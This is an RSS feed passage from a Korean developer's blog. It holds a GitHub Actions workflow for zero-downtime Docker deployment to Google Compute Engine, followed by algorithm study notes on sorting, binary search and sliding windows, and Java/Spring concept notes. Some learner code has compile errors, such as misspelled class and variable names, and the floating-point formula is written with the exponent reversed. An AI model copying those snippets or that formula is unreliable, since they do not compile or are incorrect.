      cache-from: type=gha
      cache-to: type=gha,mode=max
      platforms: linux/amd64

  - name: Output image tags
    run: |
      echo &quot;Built and pushed images:&quot;
      echo &quot;${{ steps.meta.outputs.tags }}&quot;</code></pre><pre><code>- CD</code></pre><p>name: CD - Deploy to Production</p>
<p>on:
  workflow_run:
    workflows: [&quot;CI - Build and Test&quot;]
    types:
      - completed
    branches:
      - main</p>
<p>jobs:
  deploy:
    name: Deploy to Production
    runs-on: ubuntu-latest
    environment: production
    if: ${{ github.event.workflow_run.conclusion == &#39;success&#39; }}</p>
<pre><code>steps:
  - name: Checkout code
    uses: actions/checkout@v4
    with:
      ref: ${{ github.event.workflow_run.head_sha }}

  - name: Load environment variables safely
    id: env
    run: |
      echo &quot;${{ secrets.PROD_ENV_FILE }}&quot; &gt; .env.tmp

      while IFS=&#39;=&#39; read -r key value || [ -n &quot;$key&quot; ]; do
        [[ &quot;$key&quot; =~ ^#.*$ ]] &amp;&amp; continue
        [[ -z &quot;$key&quot; ]] &amp;&amp; continue

        key=$(echo &quot;$key&quot; | xargs)
        value=$(echo &quot;$value&quot; | xargs)
        value=&quot;${value%\&quot;}&quot;
        value=&quot;${value#\&quot;}&quot;

        echo &quot;${key}=${value}&quot; &gt;&gt; $GITHUB_OUTPUT
      done &lt; .env.tmp

      rm -f .env.tmp

  - name: Authenticate to Google Cloud
    uses: google-github-actions/auth@v2
    with:
      credentials_json: ${{ secrets.GCP_SA_KEY }}

  - name: Set up Cloud SDK
    uses: google-github-actions/setup-gcloud@v2

  - name: Get latest image tag
    id: image
    run: |
      IMAGE_TAG=&quot;${{ steps.env.outputs.GCP_REGION }}-docker.pkg.dev/${{ steps.env.outputs.GCP_PROJECT_ID }}/${{ steps.env.outputs.ARTIFACT_REGISTRY_REPO }}/lol-highlight-backend:main-$(git rev-parse --short HEAD)&quot;
      echo &quot;tag=$IMAGE_TAG&quot; &gt;&gt; $GITHUB_OUTPUT
      echo &quot;Using image: $IMAGE_TAG&quot;

  - name: Deploy to Compute Engine with zero-downtime
    id: deploy
    env:
      INSTANCE_NAME: ${{ steps.env.outputs.COMPUTE_INSTANCE_NAME }}
      ZONE: ${{ steps.env.outputs.COMPUTE_ZONE }}
      IMAGE_TAG: ${{ steps.image.outputs.tag }}
      GCP_REGION: ${{ steps.env.outputs.GCP_REGION }}
    run: |
      echo &quot;${{ secrets.PROD_ENV_FILE }}&quot; &gt; .env.tmp
      gcloud compute scp .env.tmp $INSTANCE_NAME:/tmp/.env --zone=$ZONE --tunnel-through-iap
      rm -f .env.tmp

      gcloud compute ssh $INSTANCE_NAME --zone=$ZONE --tunnel-through-iap --command=&quot;
        set -e

        export IMAGE_TAG=&#39;$IMAGE_TAG&#39;
        export GCP_REGION=&#39;$GCP_REGION&#39;

        echo &#39;==&gt; Step 1: Docker 인증&#39;
        gcloud auth configure-docker \$GCP_REGION-docker.pkg.dev

        echo &#39;==&gt; Step 2: 현재 실행 중인 이미지 저장 (롤백용)&#39;
        PREVIOUS_IMAGE=\$(docker inspect nexus-spring-container --format=&#39;{{.Config.Image}}&#39; 2&gt;/dev/null || echo &#39;none&#39;)
        echo \&quot;Previous image: \$PREVIOUS_IMAGE\&quot;

        echo &#39;==&gt; Step 3: 새 이미지 Pull&#39;
        if ! docker pull \$IMAGE_TAG; then
          echo &#39;Failed to pull new image&#39;
          exit 1
        fi

        echo &#39;==&gt; Step 4: 새 컨테이너 시작 (임시 포트 8081)&#39;
        docker run -d \
          --name nexus-spring-container-new \
          --restart unless-stopped \
          -p 8081:8080 \
          --env-file /tmp/.env \
          \$IMAGE_TAG

        echo &#39;==&gt; Step 5: 새 컨테이너 헬스체크 (최대 30초)&#39;
        HEALTHY=false
        for i in {1..15}; do
          if curl -f http://localhost:8081/health 2&gt;/dev/null; then
            HEALTHY=true
            echo \&quot;Health check passed after \$i attempts\&quot;
            break
          fi
          echo \&quot;Health check attempt \$i/15...\&quot;
          sleep 2
        done

        if [ \&quot;\$HEALTHY\&quot; = true ]; then
          echo &#39;==&gt; Step 6: 헬스체크 성공, 기존 컨테이너 교체&#39;

          docker stop nexus-spring-container || true
          docker rm nexus-spring-container || true

          docker stop nexus-spring-container-new
          docker rm nexus-spring-container-new

          docker run -d \
            --name nexus-spring-container \
            --restart unless-stopped \
            -p 8080:8080 \
            --env-file /tmp/.env \
            \$IMAGE_TAG

          echo &#39;==&gt; Step 7: 최종 확인&#39;
          sleep 3
          if curl -f http://localhost:8080/health 2&gt;/dev/null; then
            echo &#39;Deployment successful!&#39;
          else
            echo &#39;Warning: Final health check failed, but container is running&#39;
          fi

          docker images --format &#39;{{.Repository}}:{{.Tag}}&#39; | \
            grep &#39;lol-highlight-backend&#39; | \
            tail -n +4 | \
            xargs -r docker rmi 2&gt;/dev/null || true

        else
          echo &#39;==&gt; Rollback: 헬스체크 실패, 새 컨테이너 제거&#39;
          docker stop nexus-spring-container-new || true
          docker rm nexus-spring-container-new || true
          docker rmi \$IMAGE_TAG || true

          echo &#39;Rollback completed. Previous container still running.&#39;
          exit 1
        fi

        rm -f /tmp/.env
        echo &#39;Deployment completed successfully&#39;
      &quot;

  - name: Wait for load balancer
    run: sleep 5

  - name: Health check via Load Balancer
    run: |
      LOAD_BALANCER_IP=&quot;${{ secrets.LOAD_BALANCER_IP }}&quot;

      echo &quot;Health check via Load Balancer...&quot;

      for i in {1..10}; do
        if curl -f -m 5 http://${LOAD_BALANCER_IP}/health 2&gt;/dev/null; then
          echo &quot;Health check passed!&quot;
          exit 0
        fi
        echo &quot;Attempt $i/10...&quot;
        sleep 3
      done

      echo &quot;Health check failed after 10 attempts&quot;
      exit 1

  - name: Deployment success
    if: success()
    run: |
      echo &quot;Deployment completed successfully!&quot;
      echo &quot;Image: ${{ steps.image.outputs.tag }}&quot;
      echo &quot;Time: $(date)&quot;

  - name: Deployment failure
    if: failure()
    run: |
      echo &quot;Deployment failed!&quot;
      echo &quot;Image: ${{ steps.image.outputs.tag }}&quot;
      echo &quot;Previous container should still be running.&quot;</code></pre><p>```</p>
<ul>
<li>mysql 서브쿼리 안에는 limit 사용불가</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[알고리즘 3일차]]></title>
            <link>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-3%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-3%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sat, 29 Nov 2025 12:42:28 GMT</pubDate>
            <description><![CDATA[<h1 id="공부-기록">공부 기록</h1>
<p><strong>날짜</strong>: 2025년 11월 29일
<strong>학습 범위</strong>: p.100 ~ p.119</p>
<hr>
<h2 id="어제-배운-내용-복습">어제 배운 내용 복습</h2>
<blockquote>
<p><strong>핵심 키워드</strong>: 슬라이딩 윈도우, O(N), BufferedReader</p>
</blockquote>
<h3 id="1-슬라이딩-윈도우-sliding-window">1. 슬라이딩 윈도우 (Sliding Window)</h3>
<ul>
<li><strong>개념</strong>: 고정된 크기($M$)의 구간 합이나 평균을 구할 때, 매번 다시 계산하지 않고 <strong>&quot;앞의 값은 빼고 뒤의 값은 더하는&quot;</strong> 방식.</li>
<li><strong>공식</strong>: <code>Sum = Sum - (나가는 값) + (들어오는 값)</code></li>
<li><strong>효과</strong>: 이중 반복문 $O(NM)$을 단일 반복문 <strong>$O(N)$</strong>으로 최적화 가능.<h3 id="2-java-입출력--속도-최적화">2. Java 입출력 &amp; 속도 최적화</h3>
</li>
<li><strong>입력</strong>: <code>Scanner</code>는 느리다. 실전에서는 <strong><code>BufferedReader</code></strong> + <strong><code>StringTokenizer</code></strong> 조합이 필수.</li>
<li><strong>출력</strong>: 반복문 안에서 <code>System.out.println</code> 금지. <strong><code>StringBuilder</code></strong>에 모아서 한 번에 출력.</li>
<li><strong>예외처리</strong>: <code>main</code> 함수 옆에 <code>throws IOException</code>을 붙여서 에러 처리를 JVM에 떠넘긴다.</li>
</ul>
<h2 id="💡-책에서-새롭게-알게-된-내용-메모">💡 책에서 새롭게 알게 된 내용 메모</h2>
<blockquote>
<p>책을 읽으며 중요하다고 느낀 개념, 공식, 팁을 적습니다.</p>
</blockquote>
<h3 id="1-반복문의-수행-횟수를-입력-크기의-다항식으로-표현할-수-있는-알고리즘---다항-시간-알고리즘">1. 반복문의 수행 횟수를 입력 크기의 다항식으로 표현할 수 있는 알고리즘 -&gt; 다항 시간 알고리즘</h3>
<ul>
<li>다항시간 알고리즘안에 선형시가 알고리즘이 존재<h3 id="2-시간-복잡도가-높으면-알고리즘의-수행시간이-더-빠르게-증가한다는-의미">2. 시간 복잡도가 높으면 알고리즘의 수행시간이 더 빠르게 증가한다는 의미</h3>
<h3 id="3-선택-정렬-알고리즘">3. 선택 정렬 알고리즘</h3>
</li>
<li>모든 i에 대해 $$A[i...N-1]$$에서 가장 작은 원소를 찾은뒤 A[i]와 자리를 교체<pre><code class="language-java"></code></pre>
</li>
</ul>
<p>public class Main{
    public static void main(String[] args){
        BufferedReader br = new BufferReader(new InputStreamReader(System.in))
        int N = Integer.parseInt(bf.readLine());
        int[] A = new int[N];</p>
<pre><code>    StringTokenizer st = new StringTokenizer(br.readLine());

    for(int k=0; k&lt;N; k++){
    A[k] = Integer.parseInt(st.nextToken());
    }

    for(int i=0; i&lt;N; i++){
        int minIndex = i;
        for(j=i+1; j&lt;N; j++){
            if (A[j] &lt; A[minIndex]){
                minIndex = j;
            }
        }
        int temp = A[i];
        A[i] = A[minIndex];
        A[minIndex] = temp;
    }
}</code></pre><p>}</p>
<pre><code>### 4. 삽입 정렬
- A[i]에 있던 값을 하나씩 앞으로 옮겨가며 적절한 위치에 삽입
- ex) 1 4 7 11 5의 결우 5는 11 -&gt; 7-&gt; 을 지나 4 뒤쪽으로 삽입됨
```java
public class Main{
    public static void main(String[] args){
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
        int N = Integer.parseInt(br.readLine());
        int[] A = new int[N];

        StringTokenizer st = new StringTokenizer(br.readLine());

        for(int k=0; k&lt;N; k++){
            A[k] = Integer.parseInt(st.nextToken());
        }

        for(int i=1; i&lt;N; i++){
            int j = i-1;
            int target = A[i];
            while(j&gt;=0 &amp;&amp; A[j] &gt; target){
               A[j + 1] = A[j];
                j--;
            }
            A[j + 1] = target;
        }
    }
}</code></pre><ul>
<li>오른쪽으로 이동한다는게 타겟보다 큰것을 미리 복사한다는 뜻
<img src="https://velog.velcdn.com/images/a_zin/post/930e64b4-3951-435a-a20e-27d2691e83e6/image.png" alt="">
<img src="https://velog.velcdn.com/images/a_zin/post/4a4beea5-396e-4128-b6bf-c7b82d4b45d7/image.png" alt=""></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[알고리즘 2일차]]></title>
            <link>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-2%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-2%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Fri, 28 Nov 2025 06:49:28 GMT</pubDate>
            <description><![CDATA[<h1 id="공부-기록---chapter-44">공부 기록 - Chapter 4.4</h1>
<p><strong>날짜</strong>: 2025년 11월 28일
<strong>학습 범위</strong>:  ~ p.100</p>
<hr>
<h2 id="💡-책에서-새롭게-알게-된-내용-메모">💡 책에서 새롭게 알게 된 내용 메모</h2>
<blockquote>
<p>책을 읽으며 중요하다고 느낀 개념, 공식, 팁을 적습니다.</p>
</blockquote>
<h3 id="1-점화식을-통해-overflow를-해결할-수도-있음">1. 점화식을 통해 overflow를 해결할 수도 있음</h3>
<h3 id="2-mantissa--fraction">2. Mantissa = fraction</h3>
<ul>
<li>소수의 표기 = $$(-1)^n <em>(1+fraction)</em>2^{bias - exponent}$$<h3 id="3-on-선형-시간-알고리즘---n값에-정비례">3. O(N): 선형 시간 알고리즘 -&gt; N값에 정비례</h3>
<h3 id="4-이진탐색--fracn2을-반복적으로-수행함으로써-n을-하나씩-탐색하지-않고-값을-찾음">4. 이진탐색 : $$\frac{N}{2}$$을 반복적으로 수행함으로써 N을 하나씩 탐색하지 않고 값을 찾음</h3>
</li>
<li>ex) 1~N에서 $$x$$라는 미지수를 찾고 싶음. $$x$$보다 큰지 작은지는 알려줌<pre><code>설정:
low (범위 시작) = 1
high (범위 끝) = N
</code></pre></li>
</ul>
<p>반복 (low가 high보다 작거나 같을 때까지):</p>
<ol>
<li><p>중간값(mid)을 구한다. -&gt; (low + high) / 2</p>
</li>
<li><p>만약 (mid == x) 라면:</p>
<ul>
<li>찾음 -&gt; 종료</li>
</ul>
</li>
<li><p>만약 (mid &lt; x) 라면: (x가 중간보다 큰 쪽에 있다)</p>
<ul>
<li>x는 오른쪽에 있으므로, 왼쪽 절반을 버린다.</li>
<li>low를 mid + 1로 변경한다.</li>
</ul>
</li>
<li><p>만약 (mid &gt; x) 라면: (x가 중간보다 작은 쪽에 있다/Down)</p>
<ul>
<li><p>x는 왼쪽에 있으므로, 오른쪽 절반을 버린다.</p>
</li>
<li><p>high를 mid - 1로 변경한다.</p>
<pre><code>코드 
```java
public class BinarySearch {
 public static void main(String[] args) {
        int N = 100; // 1 ~ 100까지 숫자
        int x = 73;  // 우리가 찾아야 할 미지수 (예시)

        // 탐색 시작
     int result = search(N, x);
        System.out.println(&quot;찾은 숫자: &quot; + result);
    }

 public static int search(int N, int target) {
        int low = 1;      // 탐색 범위 시작
     int high = N;     // 탐색 범위 끝

        // low가 high보다 커지면 범위가 꼬인 것이므로 종료 (못 찾음)
        while (low &lt;= high) {
         int mid = (low + high) / 2; // 중간 위치 계산

         if (mid == target) {
             return mid; // 정답을 찾음!
         } else if (mid &lt; target) {
             // (중간값보다 크다 -&gt; 오른쪽 구역으로 이동)
             low = mid + 1;
         } else {
             // (중간값보다 작다 -&gt; 왼쪽 구역으로 이동)
             high = mid - 1;
         }
     }

     return -1; // 못 찾았을 때
 }
}</code></pre></li>
</ul>
</li>
</ol>
<hr>
<h2 id="문제-1-이동평균-구하기">문제 1. 이동평균 구하기</h2>
<h3 id="1-문제-분석">1) 문제 분석</h3>
<ul>
<li><strong>요구사항</strong>: N개의 측정치가 주어질때 매달 M달 간의 이동평균을 계산하는 프로그램</li>
<li><strong>내 생각(접근법)</strong>: <ol>
<li>각 위치에서 측정치의 합 / 측정치 개수</li>
</ol>
</li>
</ul>
<h3 id="2-풀이">2) 풀이</h3>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) throws IOException {
        // 1. 입력 준비
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        // 예시: 12개의 데이터가 공백으로 구분되어 들어온다고 가정
        // 입력 예: 10.0 20.0 30.0 ...
        StringTokenizer st = new StringTokenizer(br.readLine());

        int N = 12; // 데이터 개수
        int M = 3;  // 이동평균 구간 (예: 3달 간의 평균)

        float[] weight = new float[N]; // 측정치 저장 배열

        // 2. 데이터 배열에 담기
        for(int i = 0; i &lt; N; i++) {
            // 문자열 토큰을 꺼내서 float로 변환하여 저장
            weight[i] = Float.parseFloat(st.nextToken());
        }

        // 3. 이동평균 계산 (단순 이중 반복문 방식)
        // M-1번 인덱스부터 시작해야 M개를 묶을 수 있음 (예: 2번 인덱스여야 0,1,2 3개 가능)
        for(int i = M - 1; i &lt; N; i++) {
            float sum = 0;


            for(int j = 0; j &lt; M; j++) {
                sum += weight[i - j];
            }

            float avg = sum / M;
            System.out.print(avg + &quot; &quot;); // 결과 출력
        }
    }
}</code></pre>
<h3 id="3-정답">3) 정답</h3>
<p>2번도 정답이지만 N의 개수 즉 긴 기간동안의 이동평균을 계산하려면?</p>
<ul>
<li>기존 방식 (이중 반복문):
구간 1: 10 + 20 + 30 = 60 (연산 2회)
구간 2: 20 + 30 + 40 = 90 (연산 2회) → 20+30을 또 계산</li>
<li>슬라이딩 윈도우:
구간 1: 10 + 20 + 30 = 60
구간 2: 60 - 10 + 40 = 90 (연산 2회) → 무조건 더하기/빼기 한 번씩만 하면 됨.</li>
</ul>
<pre><code class="language-java">
public class Main {
    public static void main(String[] args) throws IOException {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        // 예시 입력: 12개 데이터 (10.0 20.0 30.0 ...)
        // StringTokenizer st = new StringTokenizer(br.readLine()); // 실제 문제 풀이용

        String input = &quot;10.0 20.0 30.0 40.0 50.0 60.0 70.0 80.0 90.0 100.0 110.0 120.0&quot;;
        StringTokenizer st = new StringTokenizer(input);

        int N = 12; // 전체 데이터 개수
        int M = 3;  // 이동평균 구간 (3달)

        float[] weight = new float[N];

        // 1. 데이터 입력 받기
        for(int i = 0; i &lt; N; i++) {
            weight[i] = Float.parseFloat(st.nextToken());
        }

        StringBuilder sb = new StringBuilder();

        // 2. [초기 세팅] 첫 번째 윈도우 (0월 ~ M-1월) 합 구하기
        float currentSum = 0;
        for(int i = 0; i &lt; M; i++) {
            currentSum += weight[i];
        }

        // 첫 번째 구간(1~3월) 평균 기록
        sb.append(String.format(&quot;%.1f &quot;, currentSum / M));

        // 3. [슬라이딩] 윈도우 밀기 (M월부터 끝까지)
        // i는 &quot;새로 들어오는 데이터&quot;의 인덱스입니다.
        for(int i = M; i &lt; N; i++) {
            // 핵심 로직: 기존 합 + (새로운 값) - (빠져나가는 값)
            // 들어오는 값: weight[i]
            // 빠지는 값: weight[i - M] (현재 위치보다 M칸 앞에 있는 녀석)
            currentSum = currentSum + weight[i] - weight[i - M];

            // 평균 계산 후 버퍼에 담기
            sb.append(String.format(&quot;%.1f &quot;, currentSum / M));
        }

        // 결과 출력
        System.out.println(sb.toString());
    }
}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[알고리즘 1일차]]></title>
            <link>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-1%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-1%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Thu, 27 Nov 2025 13:44:20 GMT</pubDate>
            <description><![CDATA[<h1 id="공부-기록-java-알고리즘-입출력--정렬---chapter-33-61p까지">[공부 기록] Java 알고리즘 입출력 &amp; 정렬 - Chapter 3.3 61p까지</h1>
<p><strong>날짜</strong>: 2025년 11월 27일
<strong>주제</strong>: Java I/O 성능 최적화 및 정렬 모델</p>
<hr>
<h2 id="책에서-새롭게-알게-된-내용-메모">책에서 새롭게 알게 된 내용 메모</h2>
<h3 id="1-정렬의-비교-모델">1. 정렬의 비교 모델</h3>
<ul>
<li><strong>내용</strong>: 자바의 표준 라이브러리(<code>Collections.sort</code>)는 내부적으로 <code>&lt;</code> (작다) 대신 <strong><code>&lt;=</code> (작거나 같다)</strong> 논리를 비교 모델로 사용한다.</li>
<li><strong>이유</strong>: 값이 같을 때 위치를 바꾸지 않는 <strong>안정 정렬(Stable Sort)</strong>을 보장하기 위함이다.</li>
</ul>
<br>

<h3 id="2-입력-scanner-vs-bufferedreader">2. 입력: Scanner vs BufferedReader</h3>
<blockquote>
<p><strong>결론</strong>: 실전(코딩 테스트)에서는 무조건 <strong><code>BufferedReader</code></strong>를 사용하는 것이 좋다.</p>
</blockquote>
<h4 id="성능-및-특징-비교">성능 및 특징 비교</h4>
<ul>
<li><strong>속도</strong>:<ul>
<li><code>Scanner</code>: <strong>느림</strong> (입력 즉시 파싱)</li>
<li><code>BufferedReader</code>: <strong>매우 빠름</strong> (약 5~10배 빠름)</li>
</ul>
</li>
<li><strong>버퍼 크기</strong>:<ul>
<li><code>Scanner</code>: <strong>1 KB</strong> (작음)</li>
<li><code>BufferedReader</code>: <strong>8 KB</strong> (큼)</li>
</ul>
</li>
<li><strong>동작 방식</strong>:<ul>
<li><code>Scanner</code>: 문자를 하나씩 읽으며 정규식 검사 및 파싱 수행</li>
<li><code>BufferedReader</code>: &#39;바구니(Buffer)&#39;에 문자를 가득 찰 때까지 쌓아뒀다가 한 번에 읽음</li>
</ul>
</li>
<li><strong>데이터 타입</strong>:<ul>
<li><code>Scanner</code>: <code>nextInt()</code> 등으로 자동 변환 지원</li>
<li><code>BufferedReader</code>: 오직 <code>String</code> 데이터만 가짐 (형변환 필수)</li>
</ul>
</li>
<li><strong>예외 처리</strong>:<ul>
<li><code>Scanner</code>: 불필요</li>
<li><code>BufferedReader</code>: <strong>IOException 필수</strong> (<code>throws</code> 처리)</li>
</ul>
</li>
</ul>
<h4 id="왜-bufferedreader가-더-빠를까">왜 BufferedReader가 더 빠를까?</h4>
<p>CPU와 입출력 장치 사이의 통신 횟수를 줄이는 것이 핵심이다. 물건을 하나씩 낱개로 나르는 것(<code>Scanner</code>)보다, 트럭에 꽉 채워서 한 번에 나르는 것(<code>BufferedReader</code>)이 훨씬 효율적인 원리와 같다.</p>
<hr>
<h2 id="3-문자열-분리-split-vs-stringtokenizer">3. 문자열 분리: split() vs StringTokenizer</h2>
<p>한 줄의 문자열을 공백 단위로 나눌 때도 성능 차이가 발생한다.</p>
<ul>
<li><strong><code>String.split(&quot; &quot;)</code></strong>: 정규식(Regex)을 기반으로 동작하므로 내부 연산 비용이 커서 <strong>느리다</strong>.</li>
<li><strong><code>StringTokenizer</code></strong>: 단순히 공백 문자만 찾아 잘라내므로 <strong>빠르다</strong>.</li>
</ul>
<blockquote>
<p><strong>Tip</strong>: 데이터 양이 적다면 <code>split</code>이 편하지만, 10만 개 이상의 데이터라면 <code>StringTokenizer</code>를 쓰자.</p>
</blockquote>
<hr>
<h2 id="4-출력-systemoutprintln-vs-stringbuilder">4. 출력: System.out.println vs StringBuilder</h2>
<p>입력만큼 출력 속도도 중요하다. 반복문 안에서 출력을 계속 호출하면 시간 초과(TLE)의 원인이 된다.</p>
<h3 id="피해야-할-패턴-bad">피해야 할 패턴 (Bad)</h3>
<pre><code class="language-java">for(int i=0; i&lt;100000; i++) {
    System.out.println(i); // 매번 콘솔에 접근하므로 오버헤드가 매우 큼
}</code></pre>
<h3 id="권장패턴">권장패턴</h3>
<pre><code class="language-java">StringBuilder sb = new StringBuilder();
for(int i=0; i&lt;100000; i++) {
    sb.append(i).append(&quot;\n&quot;); // 문자열을 모아둠 (빠름)
}
System.out.println(sb); // 딱 한 번만 출력</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[자바]]></title>
            <link>https://velog.io/@a_zin/%EC%9E%90%EB%B0%94</link>
            <guid>https://velog.io/@a_zin/%EC%9E%90%EB%B0%94</guid>
            <pubDate>Tue, 28 Oct 2025 05:00:40 GMT</pubDate>
            <description><![CDATA[<h2 id="💻-1-java-자바">💻 1. Java (자바)</h2>
<p>자바는 객체 지향 언어로, 백엔드 시스템의 논리를 구현하는 핵심 도구입니다.</p>
<h3 id="11-객체-지향-프로그래밍-oop---object-oriented-programming">1.1 객체 지향 프로그래밍 (OOP - Object-Oriented Programming)</h3>
<p>소프트웨어를 &#39;객체&#39;들의 집합으로 보고, 이 객체들이 서로 상호작용하도록 설계하는 방식입니다.</p>
<ul>
<li><p><strong>캡슐화 (Encapsulation):</strong></p>
<ul>
<li><strong>정의:</strong> 관련된 데이터(속성)와 기능(메소드)을 하나의 &#39;캡슐&#39;(클래스)로 묶는 것.</li>
<li><strong>특징:</strong> 외부에서 객체 내부의 데이터를 직접 접근하지 못하게 숨기고(private), 오직 클래스가 제공하는 메소드(public getter/setter)를 통해서만 접근을 허용합니다.</li>
<li><strong>장점:</strong> 데이터 보호(무결성 유지)가 가능하고, 내부 구현이 변경되어도 외부에 영향을 주지 않습니다.</li>
</ul>
</li>
<li><p><strong>상속 (Inheritance):</strong></p>
<ul>
<li><strong>정의:</strong> 부모 클래스의 속성과 메소드를 자식 클래스가 물려받아 사용하는 것 (IS-A 관계).</li>
<li><strong>장점:</strong> 코드의 재사용성을 높여 중복을 줄이고, 클래스 간의 계층 구조를 만들 수 있습니다.</li>
</ul>
</li>
<li><p><strong>다형성 (Polymorphism):</strong></p>
<ul>
<li><strong>정의:</strong> &#39;여러 가지 형태를 가질 수 있는 능력&#39;입니다. 하나의 인터페이스나 부모 클래스 타입으로, 여러 가지 다른 자식 클래스 객체를 참조할 수 있습니다.</li>
<li><strong>구현:</strong><ul>
<li><strong>오버라이딩(Overriding):</strong> 자식 클래스가 부모 클래스의 메소드를 <em>재정의</em>하는 것.</li>
<li><strong>오버로딩(Overloading):</strong> 한 클래스 내에서 이름은 같지만 <em>매개변수</em>가 다른 메소드를 여러 개 정의하는 것.</li>
</ul>
</li>
<li><strong>장점:</strong> 코드가 유연해지고, 확장성이 높아집니다. (예: <code>List&lt;String&gt; list = new ArrayList&lt;&gt;();</code> 또는 <code>new LinkedList&lt;&gt;();</code>)</li>
</ul>
</li>
<li><p><strong>추상화 (Abstraction):</strong></p>
<ul>
<li><strong>정의:</strong> 객체의 공통적인 속성과 기능(핵심)을 추출하고, 불필요한 세부 사항은 숨기는 것.</li>
<li><strong>구현:</strong> <code>abstract</code> 키워드(추상 클래스)나 <code>interface</code>(인터페이스)를 통해 구현합니다.</li>
<li><strong>장점:</strong> 복잡성을 낮추고, 설계에 집중할 수 있게 합니다.</li>
</ul>
</li>
</ul>
<h3 id="12-java-8-stream--lambda">1.2 Java 8+ (Stream &amp; Lambda)</h3>
<p>현대 Java 개발에서 데이터를 효율적으로 다루기 위한 필수 기능입니다.</p>
<ul>
<li><strong>람다 (Lambda):</strong><ul>
<li><strong>정의:</strong> 이름이 없는 익명 함수입니다. <code>(매개변수) -&gt; { 실행 코드 }</code> 형태로 작성됩니다.</li>
<li><strong>장점:</strong> 코드를 매우 간결하게 만들며, 함수를 변수처럼 전달할 수 있게 해줍니다.</li>
</ul>
</li>
<li><strong>스트림 (Stream API):</strong><ul>
<li><strong>정의:</strong> 컬렉션(List, Set 등)의 요소들을 하나씩 순회하면서 처리(필터링, 매핑, 정렬 등)할 수 있도록 하는 &#39;데이터의 흐름&#39;입니다.</li>
<li><strong>특징:</strong> 원본 데이터를 변경하지 않고, 선언형(SQL과 유사한) 방식으로 데이터를 가공할 수 있습니다.</li>
<li><strong>예시:</strong> <code>list.stream().filter(s -&gt; s.startsWith(&quot;A&quot;)).map(String::toUpperCase).collect(Collectors.toList());</code></li>
</ul>
</li>
</ul>
<h3 id="13-컬렉션-프레임워크-collection-framework">1.3 컬렉션 프레임워크 (Collection Framework)</h3>
<p>데이터 그룹을 저장하고 관리하는 표준화된 방식입니다.</p>
<ul>
<li><strong><code>List</code> (인터페이스):</strong> 순서가 있고, 데이터 중복을 허용합니다.<ul>
<li><strong><code>ArrayList</code>:</strong> 내부적으로 &#39;배열&#39;을 사용합니다. 특정 인덱스의 데이터를 조회(get)할 때 빠릅니다. 하지만 중간에 데이터를 삽입/삭제할 때 느립니다.</li>
<li><strong><code>LinkedList</code>:</strong> 내부적으로 &#39;노드 연결&#39;을 사용합니다. 중간에 데이터를 삽입/삭제할 때 빠릅니다. 하지만 특정 데이터를 조회할 때 느립니다.</li>
</ul>
</li>
<li><strong><code>Set</code> (인터페이스):</strong> 순서가 없고, 데이터 중복을 허용하지 않습니다.<ul>
<li><strong><code>HashSet</code>:</strong> <code>HashMap</code>을 기반으로 만들어져, 가장 빠른 성능(검색, 삽입)을 보입니다.</li>
</ul>
</li>
<li><strong><code>Map</code> (인터페이스):</strong> Key-Value 쌍으로 데이터를 저장합니다. Key는 중복될 수 없습니다.<ul>
<li><strong><code>HashMap</code>:</strong> <code>Set</code>과 마찬가지로 해싱(Hashing)을 사용하여 데이터를 저장하므로 검색/삽입 속도가 매우 빠릅니다. <code>(Key의 hashCode(), equals()가 중요)</code></li>
</ul>
</li>
</ul>
<h3 id="14-jvm-java-virtual-machine">1.4 JVM (Java Virtual Machine)</h3>
<p>자바 코드를 실행하는 &#39;가상 머신&#39;입니다. &quot;Write Once, Run Anywhere (한 번 작성하면, 어디서든 실행된다)&quot;를 가능하게 합니다.</p>
<ul>
<li><strong>JVM 메모리 구조:</strong><ul>
<li><strong>Stack Area:</strong> 메소드 호출 정보, 지역 변수, 기본(primitive) 타입 변수가 저장됩니다. 스레드마다 개별적으로 생성됩니다.</li>
<li><strong>Heap Area:</strong> <code>new</code> 키워드로 생성된 객체(인스턴스)가 저장되는 공간입니다. 모든 스레드가 공유합니다.</li>
<li><strong>Method Area (Static Area):</strong> 클래스 정보, static 변수, 상수 등이 저장됩니다. 모든 스레드가 공유합니다.</li>
</ul>
</li>
<li><strong>GC (Garbage Collection):</strong><ul>
<li><strong>정의:</strong> Heap 영역에서 더 이상 참조되지 않는 객체(쓰레기)를 자동으로 찾아내어 메모리를 해제(정리)하는 작업입니다.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="🏗️-2-spring--spring-boot-스프링-부트">🏗️ 2. Spring / Spring Boot (스프링 부트)</h2>
<p>Java를 이용한 웹 애플리케이션 개발을 쉽고 빠르며 강력하게 만들어주는 &#39;프레임워크&#39;입니다.</p>
<h3 id="21-spring-core-ioc--di">2.1 Spring Core (IoC / DI)</h3>
<p>스프링의 가장 핵심적인 철학이자 기능입니다.</p>
<ul>
<li><strong>IoC (제어의 역전, Inversion of Control):</strong><ul>
<li><strong>정의:</strong> 객체의 생성, 관리, 생명주기를 개발자(내 코드)가 아닌 <strong>Spring Container(IoC 컨테이너)</strong>가 대신 해주는 것입니다.</li>
<li><strong>예시:</strong> 예전에는 <code>Car car = new KoreaTire();</code> 처럼 개발자가 직접 객체를 생성했지만, 이제는 스프링이 객체를 생성하고 관리합니다.</li>
</ul>
</li>
<li><strong>DI (의존성 주입, Dependency Injection):</strong><ul>
